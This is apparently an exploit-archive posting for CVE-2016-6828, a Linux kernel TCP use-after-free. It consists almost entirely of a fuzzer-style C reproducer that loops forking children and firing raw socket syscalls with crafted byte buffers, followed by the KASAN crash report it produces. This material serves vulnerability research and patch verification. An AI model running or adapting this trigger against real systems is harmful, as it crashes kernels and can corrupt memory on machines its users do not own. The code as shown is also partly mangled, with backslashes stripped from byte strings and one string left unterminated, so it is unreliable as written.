Linux Kernel TCP Related Read Use-After-Free
Posted on 09 November 2016
// Source: https://marcograss.github.io/security/linux/2016/08/18/cve-2016-6828-linux-kernel-tcp-uaf.html // to build clang derp4.c -o derp4 -static #include <unistd.h> #include <sys/syscall.h> #include <string.h> #include <stdint.h> #include <pthread.h> #include <stdio.h> #ifndef SYS_mmap #define SYS_mmap 9 #endif #ifndef SYS_socket #define SYS_socket 41 #endif #ifndef SYS_bind #define SYS_bind 49 #endif #ifndef SYS_sendto #define SYS_sendto 44 #endif #ifndef SYS_setsockopt #define SYS_setsockopt 54 #endif #ifndef SYS_dup #define SYS_dup 32 #endif #ifndef SYS_sendmsg #define SYS_sendmsg 46 #endif #ifndef SYS_recvfrom #define SYS_recvfrom 45 #endif #ifndef SYS_write #define SYS_write 1 #endif long r[62]; int main(int argc, char **argv) { while (1) { pid_t pid = fork(); if (pid == 0) { r[0] = syscall(SYS_mmap, 0x20000000ul, 0x20000ul, 0x3ul, 0x32ul, 0xfffffffffffffffful, 0x0ul); r[1] = syscall(SYS_socket, 0xaul, 0x1ul, 0x0ul, 0, 0, 0); memcpy((void*)0x20006000, "x0ax00xabx12xc7x17x1cx83x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01x05x4fxdcxc0x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00", 128); r[3] = syscall(SYS_bind, r[1], 0x20006000ul, 0x80ul, 0, 0, 0); r[4] = syscall(SYS_mmap, 0x20020000ul, 0x1000ul, 0x3ul, 0x32ul, 0xfffffffffffffffful, 0x0ul); memcpy((void*)0x20012f5a, "x25xf9x1bxd4xebxf5x39x3cxd5x80xf6xf0xd6xe1xffx65x30x97xacxafx1bxbcxc8xaexa4x1exabxd8x60x51xcbx4bxedxaexaax37xdax80xf9x06xb8x6bxdfx78x0fxd0x87xf2x65x5fx5ex85xb5x4dx6bx48xffxf3x0dx46x1cxe5xa4x48x38x78x18x71x9bx75xc4xc9x77xf2xc4x5fx88x8exd2x8dx97x26x56x4cx93x31xbcx64x22xffxdcx68x01x74x43xeax84x6fx1dx90xebx98x6cxe9x1cx3bx72xabxa0xb5x5bxe8xeexfbxf3x2dx96xa0xd4x13x55xbcxd4xe0x41xfdx78x7ex90xf9x9fx9cx57x32x47xf2xcfx7fx4ax7bx79x0axddxb4xcexbdx0bx44x02x95x0fxafx50xffx87x90x09xaax94x01x41x43x08x8exb1", 165); memcpy((void*)0x20020000, "x0ax00xabx12x0dxf5xbax69x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01xacxadxcexa0", 28); r[7] = syscall(SYS_sendto, r[1], 0x20012f5aul, 0xa5ul, 0x249e4e54fe149d8cul, 0x20020000ul, 0x1cul); *(uint32_t*)0x20001fff = (uint32_t)0x2; r[9] = syscall(SYS_setsockopt, r[1], 0x1ul, 0x8ul, 0x20001ffful, 0x4ul, 0); r[10] = syscall(SYS_dup, r[1], 0, 0, 0, 0, 0); *(uint32_t*)0x20018000 = (uint32_t)0x4; r[12] = syscall(SYS_setsockopt, r[1], 0x29ul, 0xbul, 0x20018000ul, 0x4ul, 0); *(uint64_t*)0x2000dfc8 = (uint64_t)0x2000e000; *(uint32_t*)0x2000dfd0 = (uint32_t)0xc; *(uint64_t*)0x2000dfd8 = (uint64_t)0x20000000; *(uint64_t*)0x2000dfe0 = (uint64_t)0x1; *(uint64_t*)0x2000dfe8 = (uint64_t)0x0; *(uint64_t*)0x2000dff0 = (uint64_t)0x0; *(uint32_t*)0x2000dff8 = (uint32_t)0x4; *(uint16_t*)0x2000e000 = (uint16_t)0x0; *(uint16_t*)0x2000e002 = (uint16_t)0x0; *(uint32_t*)0x2000e004 = (uint32_t)0xffff; *(uint32_t*)0x2000e008 = (uint32_t)0x401; *(uint64_t*)0x20000000 = (uint64_t)0x2000ed3a; *(uint64_t*)0x20000008 = (uint64_t)0x37; *(uint32_t*)0x2000ed3a = (uint32_t)0x14; *(uint16_t*)0x2000ed3e = (uint16_t)0x2; *(uint16_t*)0x2000ed40 = (uint16_t)0x12; *(uint32_t*)0x2000ed42 = (uint32_t)0x1f; *(uint32_t*)0x2000ed46 = (uint32_t)0x7; *(uint8_t*)0x2000ed4a = (uint8_t)0x6; *(uint8_t*)0x2000ed4b = (uint8_t)0x100; *(uint8_t*)0x2000ed4c = (uint8_t)0x3f; *(uint32_t*)0x2000ed4d = (uint32_t)0x11; *(uint16_t*)0x2000ed51 = (uint16_t)0x0; *(uint16_t*)0x2000ed53 = (uint16_t)0x808; *(uint32_t*)0x2000ed55 = (uint32_t)0x1; *(uint32_t*)0x2000ed59 = (uint32_t)0x0; *(uint8_t*)0x2000ed5d = (uint8_t)0x0; *(uint32_t*)0x2000ed5e = (uint32_t)0x12; *(uint16_t*)0x2000ed62 = (uint16_t)0x2ea; *(uint16_t*)0x2000ed64 = (uint16_t)0x200; *(uint32_t*)0x2000ed66 = (uint32_t)0x5; *(uint32_t*)0x2000ed6a = (uint32_t)0xffffffffffffffff; *(uint8_t*)0x2000ed6e = (uint8_t)0x9; *(uint8_t*)0x2000ed6f = (uint8_t)0x1; r[47] = syscall(SYS_sendmsg, r[10], 0x2000dfc8ul, 0x801ul, 0, 0, 0); *(uint16_t*)0x20001003 = (uint16_t)0x1; *(uint8_t*)0x20001005 = (uint8_t)0x0; *(uint32_t*)0x20001007 = (uint32_t)0x9; r[51] = syscall(SYS_recvfrom, r[10], 0x20014a91ul, 0xdeul, 0x0ul, 0x20000ffbul, 0x8ul); memcpy((void*)0x20015285, "xedxe0xf1x03xbdx1dxe2x8dx13x62xc9x11xdex3bx55xb1xb2x26x95xb2x3fx32x96x8ax3dxf7xd4x2cxd9x32xaex05x9ax60x09xbcx49x63x6ax45xd5x6fxa8x4bxafx8ax66xf3x35xadxe6x68x85xd4x7exe5x7cx7ex06xbfx32xfbxf9xd2x9fx40xa3x0axa0x93x09x73x39x7dxacx3cx8dx83xe0x0cx5exa2x36x9bx9cxb4x62xe8x39x07xd8x71xc1x2fx6fx18xfax8ax5dx06xb4x46xa2x97x79x81xb2x85xd4x4fx6bx48xc4xf5xddxa8x8dx10x74x01xe1x58xb2x82x72xc4xb6xb2xf7xaax90x9cx9fx61x95x87x7bx99xc5xa5x53xbcxabxdbxdbx5ex32xb8xc3xeexd3xdax7axf2x5cxc5x1axf1xd6x1bx53xadx24xd0xa0xc0x0dx73x9ex81x7ex4ex82xf5xa9x73x3cx7ax5cx6ex4cx48x7dx42xf5x2fx68xf9x7exa9xd8x6ax64x78x08x7ax37xe9xd3x81x15x34x63x63x14xb7x1ax43x9bx4fx85xfax88x5cxe1x1excex87x95xe1x81xc8x06xafx1ax64x26x36x83x36xefx71x0cx2axdaxe4xffxa1x87xc2x04x96x1cx72xd9x2dxf0xcex46xd4x3axd1xc7x2fx60x25xf8x33x1fx38x7ax46xb1x43xa4xd2x65x77x47x85xe9xadx52xdbx8bx93x23xf1xf9xa9x5fxe4xf8x39x82xc5xb4xe1x5bx87xa0xfdx2cxc2x84x15x78xaax9bx3fxe5x75x6ex05xefx84x4cx6bx9dx1dx9ex7cx92x3bx55xcbx01x6fxc5x9axd8xc3x91x39x95xd7x8fxe9x87x15x27xe7x19xa8x18x24xfdx09x11x49x41xc6xd2xe9x1axf4xb0x9bx85x9bx3fxb1xf3xc3x48xc5xe7x45x0bx21x2dx32x27x92x3cx39x52x0fx2bxdfx52x66x6fx01x8fxdcxfax8fx5ex53xb7x82x23x79xfax28xe5x24xa7x5ex2ax24x7exd0x1exd5x1axb6xb8xe5xb2x6dx4dx38x61x79xb8xd1x27x92x63x0cxedx3cxf1x13x98x37xfax98xdax0cx1ax86xd1x6ax12x86x2fxd0x8dx8ex2ex52x23xacx2dx82x59xefx17xbcxf1x47xfbxf0x5fx43x70x99x14xdfxafx44x02xb5xe9x39x51x8exf2x07x9cxa2x39xabx07xa2x22xa7xd3x5cxc0x8cxcfx3cxa2xa7xd0xd6xf4x82xccx35x75x3ax20xb7x9bxf3x9dxd9xfexdfx1ex3fx55xf2x99xdbxd0xb2xd7x86xc1xfaxb3xc7x99xdcx02xe3x9fxfdx1ex56xc1xf2x51x32x84x61x30x33xf6xe3x82x9fxf2x04xafx5dxf4x3dxa6x0ex25x53xe9x05x7cx42xbfxfax97xd7x77x8cx8fx29x7axcbx40x13x07xb5x8dx69xdcx8bx35xd3xb6xf3xd8x07x94x7ex69x0fxb7x28xf1xb3x45x60x37x65xa4xf6xbfx9cxb3xf9x3dxe1x08x08xc9x76x5ex8bx7fx26x01x9dx8fx15x39x02xfex8axe3x3bx8bxf9xaex06x04xefx0dxcfx67x24x54xe6x4cxe4x05x8exd7xdax4cxf2xd7x88x75x87xf7x7exd0x49x19x02x5ex00xc4xebx3execx70x35x9cx9bxc9xd9x47x65x4cxa3xdbx0exdex1ex76x58x27xe0x91x6bxf9x25x44xa6xa2x85x8fx50xd0x13x88x57x25x56x78xedxcbx6bxecxf2x4fxd4xcexf1x90xcdx49x50xb5xcfxd3x96x4dx3cxf4x54x8exa9xdbxd3xb5x9exe9x87x19x8bx59xd7xf2xcfx1axd3x70xcax42xc6x97x66x38x24x39x4dx42xa1xf0x24x46xe4x0ex9cxbcxc4x53xa9xb9x94x4dxcax48xa6x04xb8x2fx4fxf5x85x32x22xf8x4ex83xabx34x27x3bx8fx24x48x15x9bxa9xf8xb9xb7xcbxd5xfbx72xecx7axc3x39x9cxdex25x76x08x3fx49x35xbdx42x4fx3fx5exfcx6bx6bx9ex3ex34x47x62xedx5axaexdcxcfx4exe6x18xfax7fxe6x46xc8xbexbcx42x88xb6xfexbdx96x85x5ax4ax1dxd2x00xe9x71x48x48x52xd6xf5x88x7dx94x18xf6xf0x5cx0ax39x29xc8x78xa0xa8x44xf4xb6xcax78x75x4axf7x53xd7x7ex23xafx6bxf9xcdx77xb2xd0x37x29x9cx57xbex9ex5fx7cxe4x41x59xdexd5x63x02x2axc0x74xa6x00xe2x8fx83x30xc1x60xcdxb3xcax44x1dx88x54x8bxbcxa8x79x78x86xa2x49x7cx94x49xf3xb4x41x44x76x33xf1x2ex71xbcxa1x39xb9x68x56xd9xa0xa1x6fxdcx7dxa3xb8x4fx1cxb8x19x26x42x88x0excbxbbxc9x6cxa8xf8xe9x37x86x61x37x9fxbaxb3x9ex54x07xe6xffx6fx54x8cxcfx7ex3dx14xfdx94xbbxdcx59x5dx22x86xb5x3bx18x0dx08xadx15x67x6bxf1xc8xd8x81xacx14x63xcfx1exf9x48xbaxe0x33x4cx1ex72xe9x00x1ax48xc5xb4x2cx71xd6x7ax0bx8fx6cx02x9ax02xa9x20xbdx8a r[53] = syscall(SYS_sendto, r[10], 0x20015285ul, 0x1000ul, 0xc080ul, 0x0ul, 0x0ul); r[54] = syscall(SYS_mmap, 0x20022000ul, 0x1000ul, 0x3ul, 0x32ul, 0xfffffffffffffffful, 0x0ul); *(uint32_t*)0x20022fdd = (uint32_t)0x28; *(uint32_t*)0x20022fe1 = (uint32_t)0x400; *(uint64_t*)0x20022fe5 = (uint64_t)0x0; *(uint64_t*)0x20022fed = (uint64_t)0x8ab; *(uint64_t*)0x20022ff5 = (uint64_t)0xfffffffffffffffb; *(uint16_t*)0x20022ffd = (uint16_t)0x5; r[61] = syscall(SYS_write, r[10], 0x20022fddul, 0x28ul, 0, 0, 0); } else if (pid > 0) { int returnStatus; waitpid(pid, &returnStatus, 0); printf("collected child "); } else { printf("fork failed "); exit(1); } } return 0; } // KASAN report on v4.8-rc1, equivalent on master /* [ 21.446876] BUG: KASAN: use-after-free in tcp_xmit_retransmit_queue+0xc75/0xdb0 at addr ffff88007a06d428 [ 21.447953] Read of size 4 by task rsyslogd/1612 [ 21.448465] CPU: 0 PID: 1612 Comm: rsyslogd Tainted: G B 4.8.0-rc1 #1 [ 21.449263] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 [ 21.450270] 0000000000000000 0000000015e55fbd ffff88007dc07268 ffffffff81bef151 [ 21.451135] ffff88011cfb0d80 ffff88007a06d400 ffff88007a06d5a8 ffff88007a06d400 [ 21.452002] ffff88007dc07290 ffffffff815d0351 ffff88007dc07328 ffff88007a06d400 [ 21.452873] Call Trace: [ 21.453142] <IRQ> [<ffffffff81bef151>] dump_stack+0x83/0xb2 [ 21.453835] [<ffffffff815d0351>] kasan_object_err+0x21/0x70 [ 21.454450] [<ffffffff815d05f4>] kasan_report_error+0x204/0x500 [ 21.455135] [<ffffffff815d0a31>] __asan_report_load4_noabort+0x61/0x70 [ 21.455899] [<ffffffff82a90f55>] ? tcp_xmit_retransmit_queue+0xc75/0xdb0 [ 21.456624] [<ffffffff82a90f55>] tcp_xmit_retransmit_queue+0xc75/0xdb0 [ 21.457329] [<ffffffff82a53aba>] tcp_xmit_recovery.part.54+0x2a/0x120 [ 21.458028] [<ffffffff82a69c96>] tcp_ack+0x2716/0x4ed0 [ 21.458590] [<ffffffff815cf6e6>] ? save_stack+0x46/0xd0 [ 21.459189] [<ffffffff815cf95d>] ? kasan_kmalloc+0xad/0xe0 [ 21.459804] [<ffffffff82a67580>] ? tcp_fastretrans_alert+0x2dc0/0x2dc0 [ 21.460540] [<ffffffff82a5a63f>] ? tcp_parse_options+0x18f/0xb20 [ 21.461237] [<ffffffff811ea161>] ? ttwu_do_wakeup+0x21/0x2d0 [ 21.461865] [<ffffffff82a6e8b1>] ? tcp_validate_incoming+0x821/0x1210 [ 21.462581] [<ffffffff81c0e93e>] ? put_dec+0x2e/0xc0 [ 21.463167] [<ffffffff82a74201>] tcp_rcv_established+0x5b1/0x20c0 [ 21.463884] [<ffffffff815cfaa5>] ? memcpy+0x45/0x50 [ 21.464414] [<ffffffff828ec80a>] ? __copy_skb_header+0x19a/0x1f0 [ 21.465057] [<ffffffff82a73c50>] ? tcp_data_queue+0x4240/0x4240 [ 21.465719] [<ffffffff828eca97>] ? __skb_clone+0x237/0x7a0 [ 21.466326] [<ffffffff815cbed8>] ? kmem_cache_alloc+0xb8/0x1b0 [ 21.466954] [<ffffffff82baa6b7>] ? rt6_check_expired+0xa7/0x120 [ 21.467591] [<ffffffff82bae7f2>] ? ip6_dst_check+0x262/0x410 [ 21.468231] [<ffffffff82c0ff52>] tcp_v6_do_rcv+0x642/0x13c0 [ 21.468836] [<ffffffff82c148d2>] tcp_v6_rcv+0x1a32/0x2550 [ 21.469462] [<ffffffff81233abb>] ? trigger_load_balance+0x3fb/0x8b0 [ 21.470179] [<ffffffff82beaa55>] ? raw6_local_deliver+0x555/0x6f0 [ 21.470953] [<ffffffff82b82dec>] ip6_input_finish+0x2ac/0xd50 [ 21.471600] [<ffffffff82b8396a>] ip6_input+0xda/0x1f0 [ 21.472149] [<ffffffff81117670>] ? kvm_guest_apic_eoi_write+0x70/0x90 [ 21.472870] [<ffffffff82b83890>] ? ip6_input_finish+0xd50/0xd50 [ 21.473521] [<ffffffff8128a722>] ? handle_fasteoi_irq+0x362/0x6a0 [ 21.474210] [<ffffffff810f56c0>] ? ioapic_ir_ack_level+0xd0/0xd0 [ 21.474858] [<ffffffff82b8291e>] ip6_rcv_finish+0x11e/0x340 [ 21.475487] [<ffffffff82b84806>] ipv6_rcv+0xd86/0x1750 [ 21.476043] [<ffffffff82b83a80>] ? ip6_input+0x1f0/0x1f0 [ 21.476615] [<ffffffff82cadeb5>] ? _raw_spin_unlock_irqrestore+0x15/0x20 [ 21.477332] [<ffffffff815d03d7>] ? kasan_end_report+0x37/0x50 [ 21.478956] [<ffffffff815d0825>] ? kasan_report_error+0x435/0x500 [ 21.479618] [<ffffffff82b83a80>] ? ip6_input+0x1f0/0x1f0 [ 21.480250] [<ffffffff8293926f>] __netif_receive_skb_core+0x15df/0x26c0 [ 21.481017] [<ffffffff812092c0>] ? update_curr+0x150/0x4e0 [ 21.481700] [<ffffffff82937c90>] ? netdev_info+0x120/0x120 [ 21.482339] [<ffffffff812bf12b>] ? hrtimer_active+0x1db/0x280 [ 21.482969] [<ffffffff81206b3d>] ? cpu_load_update+0x1bd/0x350 [ 21.483619] [<ffffffff81227f2c>] ? task_tick_fair+0x119c/0x2420 [ 21.484295] [<ffffffff810fddf1>] ? __x2apic_send_IPI_dest.constprop.4+0x31/0x40 [ 21.485101] [<ffffffff810fe072>] ? x2apic_send_IPI+0x72/0xa0 [ 21.485739] [<ffffffff8293a37f>] __netif_receive_skb+0x2f/0x170 [ 21.486383] [<ffffffff8293e1a7>] process_backlog+0x197/0x580 [ 21.487021] [<ffffffff8293bc9a>] net_rx_action+0x6ca/0xbb0 [ 21.487615] [<ffffffff8293b5d0>] ? sk_busy_loop+0x7b0/0x7b0 [ 21.488258] [<ffffffff8111850e>] ? kvm_clock_get_cycles+0x1e/0x20 [ 21.488909] [<ffffffff812d3e90>] ? ktime_get+0xb0/0x110 [ 21.489471] [<ffffffff810fdc1b>] ? native_apic_msr_write+0x2b/0x30 [ 21.490147] [<ffffffff812e3ca6>] ? clockevents_program_event+0x246/0x340 [ 21.490868] [<ffffffff82cb121e>] __do_softirq+0x1ce/0x57d [ 21.491470] [<ffffffff811769d7>] irq_exit+0x117/0x140 [ 21.492035] [<ffffffff82cb0dd0>] smp_apic_timer_interrupt+0x80/0xa0 [ 21.492712] [<ffffffff82caf062>] apic_timer_interrupt+0x82/0x90 [ 21.493378] <EOI> Object at ffff88007a06d400, in cache skbuff_fclone_cache size: 424 [ 21.494277] Allocated: [ 21.494538] PID = 1711 [ 21.494801] [<ffffffff810b308b>] save_stack_trace+0x2b/0x50 [ 21.495416] [<ffffffff815cf6e6>] save_stack+0x46/0xd0 [ 21.495970] [<ffffffff815cf95d>] kasan_kmalloc+0xad/0xe0 [ 21.496572] [<ffffffff815cfe92>] kasan_slab_alloc+0x12/0x20 [ 21.497185] [<ffffffff815cc51e>] kmem_cache_alloc_node+0xfe/0x1d0 [ 21.497853] [<ffffffff828f21f2>] __alloc_skb+0xd2/0x5d0 [ 21.498475] [<ffffffff82a480fd>] sk_stream_alloc_skb+0xbd/0x790 [ 21.499129] [<ffffffff82a4b464>] tcp_sendmsg+0x13f4/0x2d10 [ 21.499754] [<ffffffff82afb2ac>] inet_sendmsg+0x24c/0x350 [ 21.500371] [<ffffffff828d58ef>] sock_sendmsg+0xcf/0x110 [ 21.500988] [<ffffffff828d5b52>] sock_write_iter+0x222/0x3c0 [ 21.501625] [<ffffffff8162d10b>] __vfs_write+0x3cb/0x640 [ 21.502249] [<ffffffff8162e315>] vfs_write+0x175/0x4a0 [ 21.502838] [<ffffffff81631b78>] SyS_write+0xd8/0x1b0 [ 21.503429] [<ffffffff82cae476>] entry_SYSCALL_64_fastpath+0x1e/0xa8 [ 21.504144] Freed: [ 21.504368] PID = 1711 [ 21.504628] [<ffffffff810b308b>] save_stack_trace+0x2b/0x50 [ 21.505290] [<ffffffff815cf6e6>] save_stack+0x46/0xd0 [ 21.505879] [<ffffffff815cff13>] kasan_slab_free+0x73/0xc0 [ 21.506501] [<ffffffff815cb70c>] kmem_cache_free+0x7c/0x210 [ 21.507128] [<ffffffff828eba3b>] kfree_skbmem+0x7b/0xf0 [ 21.507752] [<ffffffff828f3e22>] __kfree_skb+0x22/0x30 [ 21.508339] [<ffffffff82a4b8ad>] tcp_sendmsg+0x183d/0x2d10 [ 21.508962] [<ffffffff82afb2ac>] inet_sendmsg+0x24c/0x350 [ 21.509574] [<ffffffff828d58ef>] sock_sendmsg+0xcf/0x110 [ 21.510194] [<ffffffff828d5b52>] sock_write_iter+0x222/0x3c0 [ 21.510818] [<ffffffff8162d10b>] __vfs_write+0x3cb/0x640 [ 21.511408] [<ffffffff8162e315>] vfs_write+0x175/0x4a0 [ 21.512003] [<ffffffff81631b78>] SyS_write+0xd8/0x1b0 [ 21.512562] [<ffffffff82cae476>] entry_SYSCALL_64_fastpath+0x1e/0xa8 [ 21.513258] Memory state around the buggy address: [ 21.513770] ffff88007a06d300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 21.514546] ffff88007a06d380: 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc fc [ 21.515310] >ffff88007a06d400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 21.516114] ^ [ 21.516611] ffff88007a06d480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 21.517400] ffff88007a06d500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 21.518203] ================================================================== */
